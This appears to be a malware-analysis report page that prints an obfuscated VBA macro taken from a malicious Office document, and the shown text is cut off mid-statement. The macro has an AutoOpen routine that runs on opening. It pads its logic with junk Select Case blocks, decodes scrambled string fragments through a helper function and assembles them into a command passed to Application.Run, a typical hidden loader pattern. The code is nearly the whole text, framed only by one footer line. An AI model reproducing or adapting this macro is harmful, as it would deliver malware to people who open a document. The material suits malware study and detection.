tPOzrACoa = KzNwIw + zsmZb("lOR!v$bvDAhBAMAQDAhBQOAkDAhBwNAYDAiOW!<W0M", 9, 26)
Select Case pUTbs
Case 87571
TsAsj = Fix(67958)
jOKFK = Int(19485)
Case 43253
NYmSX = iEWbQv
lsdXWX = ChrW(qUdGFC)
End Select
Select Case vYNoV
Case 48744
wUEfK = Fix(37122)
hAtKZi = Int(84596)
Case 46101
ITwoT = waBHrW
UfkSSi = ChrW(wvEhJw)
End Select
XDcJQjhosR = dHSGQB + zsmZb("(V%vPs_KIEB4fIIGA5AwYAgDA1AQZAEDA2AQNAUGA5AAOAQDAjBgMAUGAzAgYAMDAmBQYAYDAyAwYAEGAyAQOAYGA0AwNAEGAjBQNAYDA5AgNAIDAiBgMAIGA1AQMAEDAzAwNAgDA3AgMAMDAhBgMAIDA2AAOAEGA2AgYAADA0AgZk0FciCp$A#.shlN@5pU$(", 22, 159)
Select Case vYNoV
Case 48744
wUEfK = Fix(37122)
hAtKZi = Int(84596)
Case 46101
ITwoT = waBHrW
UfkSSi = ChrW(wvEhJw)
End Select
Select Case AsVKQD
Case 89255
EaMKF = Fix(8028)
PMFOI = Int(67940)
Case 59848
CiOlBb = ADZhY
zTcIkw = ChrW(TmuqV)
End Select
jnJHVSIsSV = UarihX + zsmZb("iv3t@npnb2_HiX]wGAyAAMAUDAmBQYAIDA1AQOAEDAmBQOAEGA5AAZAQGAyAANAIHI4G#v@0p1fn", 13, 48)
Select Case AsVKQD
Case 89255
EaMKF = Fix(8028)
PMFOI = Int(67940)
Case 59848
CiOlBb = ADZhY
zTcIkw = ChrW(TmuqV)
End Select
Select Case bfvJh
Case 69252
XpmtI = Fix(56415)
ZkajP = Int(65197)
Case 34927
lwiJnk = AFDaQ
pVlEJ = ChrW(oYAKd)
End Select
RzoVSfYXkcF = DkqYNH + zsmZb("W@2@aA@X%C2X!4!I<PlP!ikW#vcC93[GAMGAkBgNAEDAkBgMAADAlBQNAQGAyAAMAMGAyAQOAQDA1AAMAMDA0AQOAEDA3AAOAADAkBQMAgDA4AQMAQGA4AAMAYGAiBQYAgDA2AgYAUGA2AQYAYGAxAAMAADAyAAOAEDAlBwMAEDAwAgNAgDAiBAMAQGA5AQWMUssXs", 8, 159)
Select Case bfvJh
Case 69252
XpmtI = Fix(56415)
ZkajP = Int(65197)
Case 34927
lwiJnk = AFDaQ
pVlEJ = ChrW(oYAKd)
End Select
aRMFJrMGiClVN = FIXVHmZZDozvRp + EjAibiusmuz + KNkzQdFQLhzw + ChrW(34) + XwnRphphMkj + BYVOiiP + GrUEvdjJEIv + MpCjZ + jpLUQSGlHr + zduVFwJjvT + pCwCwVi + ZrVVXmOf + GoQADQo + NWDozEBfmEs + YZirUZB + IfojV + OiPXccpiw + LbUjWwXUm + mBNRcw + abNWOv + nCzXJilpdX + qUkFjD + lkpqITwWvwj + vwkMozaRZL + bQbDjWNC + ZnrYh + UAZmownkmVD + ziaUEKdzHfJ + NJSqW + liqohmAvoFS + KvrFESGkju + aAWXciaj + tPOzrACoa + zisiHR + LGdGv + ovsmHsAipuo + odcLfHARhS + zpGLvjIP + JPOIR + mKfbBd + NWLjHnujG + IpiIzNDpfzV + jnJHVSIsSV + GdZDluWA + RzoVSfYXkcF + XDcJQjhosR + kIGlvWsskZ + BBADO + jsaoXL + TdMwtmlGXbm
Select Case obGSd
Case 32234
lEfiAF = Fix(42864)
YfYmvW = Int(20889)
Case 63023
bWjTU = RUzkpz
cOVKN = ChrW(sNnMS)
End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case trGhQR
Case 16966
NBUjd = Fix(2054)
JQkJo = Int(77388)
Case 98242
KQQDtd = KsLFi
HotwNf = ChrW(lrmaP)
End Select
Select Case ihDjpG
Case 89488
vRANP = Fix(68686)
qbUYWR = Int(3940)
Case 54115
MbJzCS = qnuzpH
WwjiL = ChrW(tjwvJ)
End Select
Application.Run "vLpRYjt", aRMFJrMGiClVN
Select Case PRBthc
Case 10151
WNzvA = Fix(56124)
KZUkBj = Int(36545)
Case 96487
njqEz = cNpGCM
uNXkum = ChrW(Aohik)
End Select
Select Case JdLHMw
Case 36739
FzmAPt = Fix(71082)
FtaZWi = Int(13365)
Case 25767
pjpYw = HUOTz
huFtM = ChrW(PkjftX)
End Select
Select Case ioIKM
Case 59455
zqXQd = Fix(5904)
vijAZ = Int(72819)
Case 64507
wUjJq = chKnRH
NwJBp = ChrW(ErXpPJ)
End Select
End Sub
Attribute VB_Name = "UFDiUmjKpoiD"
Function KNkzQdFQLhzw()
On Error Resume Next
Select Case CsBTqf
Case 75447
dFEKAC = Fix(84942)
miIJPK = Int(42889)
Case 99851
tqkwMm = Hckws
azHXW = ChrW(wqpZzb)
End Select
BPiEzR = MzoZsW + zsmZb("wwaakAiwSwHWCb]ESV@UqISA9Hk83MiA@i", 24, 6)
Select Case CsBTqf
Case 75447
dFEKAC = Fix(84942)
miIJPK = Int(42889)
Case 99851
tqkwMm = Hckws
azHXW = ChrW(wqpZzb)
End Select
Select Case QkpLfY
Case 20694
SZdnju = Fix(26656)
XaWOfP = Int(29019)
Case 7510
YmhSRo = jrXnM
NmuhpV = ChrW(jzhkn)
End Select
TEEiA = FqRQsW + zsmZb("BFvfAw2WjPaUtXiEsY% tesFwR", 4, 12)
Select Case QkpLfY
Case 20694
SZdnju = Fix(26656)
XaWOfP = Int(29019)
Case 7510
YmhSRo = jrXnM
NmuhpV = ChrW(jzhkn)
End Select
Select Case Bjpnr
Case 80764
GAFnLC = Fix(64530)
DcrHY = Int(39886)
Case 38146
LshCG = kzofW
dduHTw = ChrW(BfvSL)
End Select
IsBEwjlK = oprBAU + zsmZb("0(Y]M#Ii!sinGYoJVpIwKTY(C_BG_", 8, 7)
Select Case Bjpnr
Case 80764
GAFnLC = Fix(64530)
DcrHY = Int(39886)
Case 38146
LshCG = kzofW
dduHTw = ChrW(BfvSL)
End Select
Select Case rwJKK
Case 84858
riNuTM = Fix(4126)
OlHjHa = Int(93398)
Case 90143
oScVzT = uGkwJU
RYcwPY = ChrW(DEGLA)
End Select
fwHYinFiw = irwOTj + zsmZb("320qAHK$L%!=%rEPuHCi0O!#[", 9, 8)
Select Case rwJKK
Case 84858
riNuTM = Fix(4126)
OlHjHa = Int(93398)
Case 90143
oScVzT = uGkwJU
RYcwPY = ChrW(DEGLA)
End Select
Select Case FdldFv
Case 62014
FAEcm = Fix(64111)
VniRp = Int(78597)
Case 48342
OkwzU = aQKHY
DvEMl = ChrW(rDrQd)
End Select
MffwcnSpmo = BCzruB + zsmZb("k4!hD!2es&&wo=%NVtn]U%RFXiV%ZI]C.U2(@.2nv@)p )RHW", 33, 10)
Select Case FdldFv
Case 62014
FAEcm = Fix(64111)
VniRp = Int(78597)
Case 48342
OkwzU = aQKHY
DvEMl = ChrW(rDrQd)
End Select
Select Case apbBOn
Case 27292
LCRtu = Fix(75750)
mwfnc = Int(38479)
Case 46445
HUsUbs = RRwQzI
nSXHO = ChrW(HjHPCD)
End Select
AZdtUJMtuV = rdUCq + zsmZb("fzd(OMq0VWh0NVlCiGMrJFMRaCH", 3, 13)
Select Case apbBOn
Case 27292
LCRtu = Fix(75750)
mwfnc = Int(38479)
Case 46445
HUsUbs = RRwQzI
nSXHO = ChrW(HjHPCD)
End Select
Select Case BiiUDH
Case 23805
rDssU = Fix(14448)
cbrGFp = Int(25935)
Case 81643
LSGhdw = dfFIvQ
GAkNfo = ChrW(OOhYdm)
End Select
pfRni = CcoZQCs + zsmZb("XKl0WQF(0PI02Znw8qpl$$5BvF5)@4n2Wc!!%tav6", 4, 4)
Select Case BiiUDH
Case 23805
rDssU = Fix(14448)
cbrGFp = Int(25935)
Case 81643
LSGhdw = dfFIvQ
GAkNfo = ChrW(OOhYdm)
End Select
Select Case OusttW
Case 10270
oJJqq = Fix(38015)
pshwmm = Int(68165)
Case 81769
pzzSF = ZctRih
LijLM = ChrW(LQqoJN)
End Select
WtWcflB = jOsnnB + zsmZb("B<KklwLftF$$$NaXzAYv", 2, 6)
Select Case OusttW
Case 10270
oJJqq = Fix(38015)
pshwmm = Int(68165)
Case 81769
pzzSF = ZctRih
LijLM = ChrW(LQqoJN)
End Select
Select Case EGkoBO
Case 15316
LAwqvk = Fix(93296)
wHbzJA = Int(25338)
Case 51788
iMYLY = qkBfac
XzcXw = ChrW(vrWquz)
End Select
GBJJYJBYN = oJGCpi + zsmZb("H5zECMUn$Ktes&&s=%liEuAiwSw)Lazf(D", 8, 17)
Select Case EGkoBO
Case 15316
LAwqvk = Fix(93296)
wHbzJA = Int(25338)
Case 51788
iMYLY = qkBfac
XzcXw = ChrW(vrWquz)
End Select
Select Case HYWrD
Case 95626
VomLG = Fix(16830)
EGInE = Int(22277)
Case 42896
hmJZU = ViCKWU
bfkBG = ChrW(rzjHE)
End Select
ubldooRWD = IqwhEt + zsmZb("N[HAd@(K0n%$_8#anA!c[G$lIre=l8VwBl0Y", 9, 3)
Select Case HYWrD
Case 95626
VomLG = Fix(16830)
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.